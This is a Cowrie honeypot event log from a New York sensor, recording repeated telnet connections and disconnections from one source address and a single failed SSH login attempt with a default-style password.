{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":57928,"dst_ip":"159.203.135.109","dst_port":23,"session":"c40d7779e73b","protocol":"telnet","message":"New connection: 69.6.196.124:57928 (159.203.135.109:23) [session: c40d7779e73b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:31.917014Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":57934,"dst_ip":"159.203.135.109","dst_port":23,"session":"3963a6043e04","protocol":"telnet","message":"New connection: 69.6.196.124:57934 (159.203.135.109:23) [session: 3963a6043e04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:32.011785Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":57942,"dst_ip":"159.203.135.109","dst_port":23,"session":"f4f3a16d4731","protocol":"telnet","message":"New connection: 69.6.196.124:57942 (159.203.135.109:23) [session: f4f3a16d4731]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:32.133767Z"}
{"eventid":"cowrie.login.failed","username":"sonar","password":"admin123","message":"login attempt [sonar/admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:32.152512Z","src_ip":"41.63.62.103","session":"db46a3999dea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.438453435897827,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:32.273942Z","src_ip":"69.6.196.124","session":"9091ae6a49fb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.835554599761963,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:32.288703Z","src_ip":"69.6.196.124","session":"d16f70543d53","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":57960,"dst_ip":"159.203.135.109","dst_port":23,"session":"b20c1a987182","protocol":"telnet","message":"New connection: 69.6.196.124:57960 (159.203.135.109:23) [session: b20c1a987182]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:32.551806Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":57976,"dst_ip":"159.203.135.109","dst_port":23,"session":"6e3fea549e79","protocol":"telnet","message":"New connection: 69.6.196.124:57976 (159.203.135.109:23) [session: 6e3fea549e79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:32.740580Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":57982,"dst_ip":"159.203.135.109","dst_port":23,"session":"c112986f54a2","protocol":"telnet","message":"New connection: 69.6.196.124:57982 (159.203.135.109:23) [session: c112986f54a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:33.009735Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":57998,"dst_ip":"159.203.135.109","dst_port":23,"session":"8b99f2c967b5","protocol":"telnet","message":"New connection: 69.6.196.124:57998 (159.203.135.109:23) [session: 8b99f2c967b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:33.048182Z"}
{"eventid":"cowrie.session.closed","duration":30.41847038269043,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:33.359107Z","src_ip":"69.6.196.124","session":"d0f05961d340","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.69443964958191,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:33.392583Z","src_ip":"69.6.196.124","session":"ff9148d143c2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.47753119468689,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:33.402205Z","src_ip":"69.6.196.124","session":"747018c0b349","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:33.418692Z","src_ip":"41.63.62.103","session":"db46a3999dea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.730119705200195,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:34.061793Z","src_ip":"69.6.196.124","session":"86c9e4c7c13b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":58010,"dst_ip":"159.203.135.109","dst_port":23,"session":"1927e42a9550","protocol":"telnet","message":"New connection: 69.6.196.124:58010 (159.203.135.109:23) [session: 1927e42a9550]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:34.288410Z"}
{"eventid":"cowrie.session.closed","duration":30.841607093811035,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:34.303046Z","src_ip":"69.6.196.124","session":"4e3f87e067ff","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.508856058120728,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:34.322053Z","src_ip":"69.6.196.124","session":"7d82924f29aa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.07136821746826,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:34.409179Z","src_ip":"69.6.196.124","session":"865a8fe3d722","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":57954,"dst_ip":"159.203.135.109","dst_port":23,"session":"874b44642153","protocol":"telnet","message":"New connection: 69.6.196.124:57954 (159.203.135.109:23) [session: 874b44642153]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:34.413483Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":58026,"dst_ip":"159.203.135.109","dst_port":23,"session":"da5213eaed8e","protocol":"telnet","message":"New connection: 69.6.196.124:58026 (159.203.135.109:23) [session: da5213eaed8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:35.529690Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":58038,"dst_ip":"159.203.135.109","dst_port":23,"session":"824e94fbfa05","protocol":"telnet","message":"New connection: 69.6.196.124:58038 (159.203.135.109:23) [session: 824e94fbfa05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:35.544818Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":58050,"dst_ip":"159.203.135.109","dst_port":23,"session":"9bcb774dcc51","protocol":"telnet","message":"New connection: 69.6.196.124:58050 (159.203.135.109:23) [session: 9bcb774dcc51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:36.020554Z"}
{"eventid":"cowrie.session.closed","duration":31.20684242248535,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:36.167963Z","src_ip":"69.6.196.124","session":"4156803a2f34","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.36911702156067,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:36.195684Z","src_ip":"69.6.196.124","session":"3bb3d0b0b5f0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.735910415649414,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:36.284429Z","src_ip":"69.6.196.124","session":"7c9005a9dad5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.61365842819214,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:36.417478Z","src_ip":"69.6.196.124","session":"ded0d5174369","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":58006,"dst_ip":"159.203.135.109","dst_port":23,"session":"cca0cfb23dca","protocol":"telnet","message":"New connection: 69.6.196.124:58006 (159.203.135.109:23) [session: cca0cfb23dca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:36.425746Z"}
{"eventid":"cowrie.session.closed","duration":30.321633100509644,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:36.434860Z","src_ip":"69.6.196.124","session":"8e76f84181aa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":58052,"dst_ip":"159.203.135.109","dst_port":23,"session":"da69d817aba2","protocol":"telnet","message":"New connection: 69.6.196.124:58052 (159.203.135.109:23) [session: da69d817aba2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:36.502846Z"}
{"eventid":"cowrie.session.closed","duration":30.86563754081726,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:36.854259Z","src_ip":"69.6.196.124","session":"404e5a49ba09","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":58078,"dst_ip":"159.203.135.109","dst_port":23,"session":"d9a3dfc84473","protocol":"telnet","message":"New connection: 69.6.196.124:58078 (159.203.135.109:23) [session: d9a3dfc84473]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:36.987960Z"}
{"eventid":"cowrie.session.closed","duration":30.80740237236023,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:37.284017Z","src_ip":"69.6.196.124","session":"903ce9cad1dd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.926394939422607,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:37.398468Z","src_ip":"69.6.196.124","session":"a7345fbee8d9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.90324354171753,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:37.417874Z","src_ip":"69.6.196.124","session":"ce79d3ac70b0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":58084,"dst_ip":"159.203.135.109","dst_port":23,"session":"0f8d49601131","protocol":"telnet","message":"New connection: 69.6.196.124:58084 (159.203.135.109:23) [session: 0f8d49601131]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:37.440053Z"}
{"eventid":"cowrie.session.closed","duration":30.82649874687195,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:37.481939Z","src_ip":"69.6.196.124","session":"eca911bab153","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":58062,"dst_ip":"159.203.135.109","dst_port":23,"session":"7366a4d32e46","protocol":"telnet","message":"New connection: 69.6.196.124:58062 (159.203.135.109:23) [session: 7366a4d32e46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:37.804619Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":58082,"dst_ip":"159.203.135.109","dst_port":23,"session":"0f54867059f0","protocol":"telnet","message":"New connection: 69.6.196.124:58082 (159.203.135.109:23) [session: 0f54867059f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:38.218768Z"}
{"eventid":"cowrie.session.closed","duration":30.543651580810547,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:38.331411Z","src_ip":"69.6.196.124","session":"d8b7e9fca294","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.823558807373047,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:38.460040Z","src_ip":"69.6.196.124","session":"f698de573323","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.1591637134552,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:38.514407Z","src_ip":"69.6.196.124","session":"aae20d92807d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.13519787788391,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:38.569754Z","src_ip":"69.6.196.124","session":"71dd428795e1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":58086,"dst_ip":"159.203.135.109","dst_port":23,"session":"e068dcba2246","protocol":"telnet","message":"New connection: 69.6.196.124:58086 (159.203.135.109:23) [session: e068dcba2246]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:38.603070Z"}
{"eventid":"cowrie.session.closed","duration":31.36851215362549,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:38.613843Z","src_ip":"69.6.196.124","session":"4c88c0c1ffa6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.189457416534424,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:38.628283Z","src_ip":"69.6.196.124","session":"79c62956c358","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":58106,"dst_ip":"159.203.135.109","dst_port":23,"session":"930ce4f2476a","protocol":"telnet","message":"New connection: 69.6.196.124:58106 (159.203.135.109:23) [session: 930ce4f2476a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:38.633786Z"}
{"eventid":"cowrie.session.closed","duration":31.253130674362183,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:38.662634Z","src_ip":"69.6.196.124","session":"872c27de2b94","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.011269330978394,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:38.938613Z","src_ip":"69.6.196.124","session":"2ec5cffdf788","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":58092,"dst_ip":"159.203.135.109","dst_port":23,"session":"a4e529c98624","protocol":"telnet","message":"New connection: 69.6.196.124:58092 (159.203.135.109:23) [session: a4e529c98624]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:39.020669Z"}
{"eventid":"cowrie.session.closed","duration":30.877060651779175,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:39.033487Z","src_ip":"69.6.196.124","session":"fd2c021c14e7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":58116,"dst_ip":"159.203.135.109","dst_port":23,"session":"737e411626a1","protocol":"telnet","message":"New connection: 69.6.196.124:58116 (159.203.135.109:23) [session: 737e411626a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:39.038104Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":58128,"dst_ip":"159.203.135.109","dst_port":23,"session":"3f814c79c166","protocol":"telnet","message":"New connection: 69.6.196.124:58128 (159.203.135.109:23) [session: 3f814c79c166]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:39.154509Z"}
{"eventid":"cowrie.session.closed","duration":30.95991539955139,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:39.308798Z","src_ip":"69.6.196.124","session":"e9f5056d09de","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.012007474899292,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:39.342861Z","src_ip":"69.6.196.124","session":"d90095515599","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.208884716033936,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:39.716434Z","src_ip":"69.6.196.124","session":"3f440517b228","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.326568603515625,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:39.993356Z","src_ip":"69.6.196.124","session":"0c7e996bdaa4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.025383234024048,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:40.354959Z","src_ip":"69.6.196.124","session":"fc7bb902ce5f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.616544246673584,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:40.496837Z","src_ip":"69.6.196.124","session":"02542617f8b3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":57164,"dst_ip":"159.203.135.109","dst_port":23,"session":"e0152e96b764","protocol":"telnet","message":"New connection: 69.6.196.124:57164 (159.203.135.109:23) [session: e0152e96b764]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:40.778892Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":57192,"dst_ip":"159.203.135.109","dst_port":23,"session":"3e8c4af34a82","protocol":"telnet","message":"New connection: 69.6.196.124:57192 (159.203.135.109:23) [session: 3e8c4af34a82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:40.887645Z"}
{"eventid":"cowrie.session.closed","duration":31.13225483894348,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:41.061212Z","src_ip":"69.6.196.124","session":"9826b45b4b26","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.84335684776306,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:41.406259Z","src_ip":"69.6.196.124","session":"fbcad56b0ebd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":57204,"dst_ip":"159.203.135.109","dst_port":23,"session":"eed56a3654c3","protocol":"telnet","message":"New connection: 69.6.196.124:57204 (159.203.135.109:23) [session: eed56a3654c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:41.497686Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":57180,"dst_ip":"159.203.135.109","dst_port":23,"session":"b0fe6efc3f0a","protocol":"telnet","message":"New connection: 69.6.196.124:57180 (159.203.135.109:23) [session: b0fe6efc3f0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:41.580655Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":57220,"dst_ip":"159.203.135.109","dst_port":23,"session":"8dc26c2c2781","protocol":"telnet","message":"New connection: 69.6.196.124:57220 (159.203.135.109:23) [session: 8dc26c2c2781]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:41.630176Z"}
{"eventid":"cowrie.session.closed","duration":31.111507654190063,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:42.015266Z","src_ip":"69.6.196.124","session":"c566e3685f64","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.669363498687744,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:42.022825Z","src_ip":"69.6.196.124","session":"a48fdd05d538","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.359376192092896,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:42.265834Z","src_ip":"69.6.196.124","session":"b49d4ce835ae","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.032874822616577,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:42.270593Z","src_ip":"69.6.196.124","session":"a3c432c1008a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.460643768310547,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:42.301174Z","src_ip":"69.6.196.124","session":"bbb166723f3f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.051004648208618,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:42.330467Z","src_ip":"69.6.196.124","session":"ac0136d7047b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.258970737457275,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:42.335009Z","src_ip":"69.6.196.124","session":"51f1a7a8b526","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.729130506515503,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:42.342010Z","src_ip":"69.6.196.124","session":"e9ac84aa7940","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.43786311149597,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:42.416496Z","src_ip":"69.6.196.124","session":"7c0934aab410","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":57226,"dst_ip":"159.203.135.109","dst_port":23,"session":"75f06cc66b5b","protocol":"telnet","message":"New connection: 69.6.196.124:57226 (159.203.135.109:23) [session: 75f06cc66b5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:43.170620Z"}
{"eventid":"cowrie.session.closed","duration":30.62749719619751,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:43.471264Z","src_ip":"69.6.196.124","session":"c1ba247f6d5e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.577672719955444,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:43.506866Z","src_ip":"69.6.196.124","session":"9b1d7db852fd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":57230,"dst_ip":"159.203.135.109","dst_port":23,"session":"fbf2fb345e30","protocol":"telnet","message":"New connection: 69.6.196.124:57230 (159.203.135.109:23) [session: fbf2fb345e30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:43.578201Z"}
{"eventid":"cowrie.session.closed","duration":34.230443239212036,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:43.812136Z","src_ip":"69.6.196.124","session":"87b4829c6b98","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":57250,"dst_ip":"159.203.135.109","dst_port":23,"session":"ca366136081f","protocol":"telnet","message":"New connection: 69.6.196.124:57250 (159.203.135.109:23) [session: ca366136081f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:44.249746Z"}
{"eventid":"cowrie.session.closed","duration":34.135130167007446,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:44.324507Z","src_ip":"69.6.196.124","session":"2bdb036eeae6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.203128576278687,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:44.389110Z","src_ip":"69.6.196.124","session":"af28ec6e3400","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":57266,"dst_ip":"159.203.135.109","dst_port":23,"session":"cf510400073d","protocol":"telnet","message":"New connection: 69.6.196.124:57266 (159.203.135.109:23) [session: cf510400073d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:44.433017Z"}
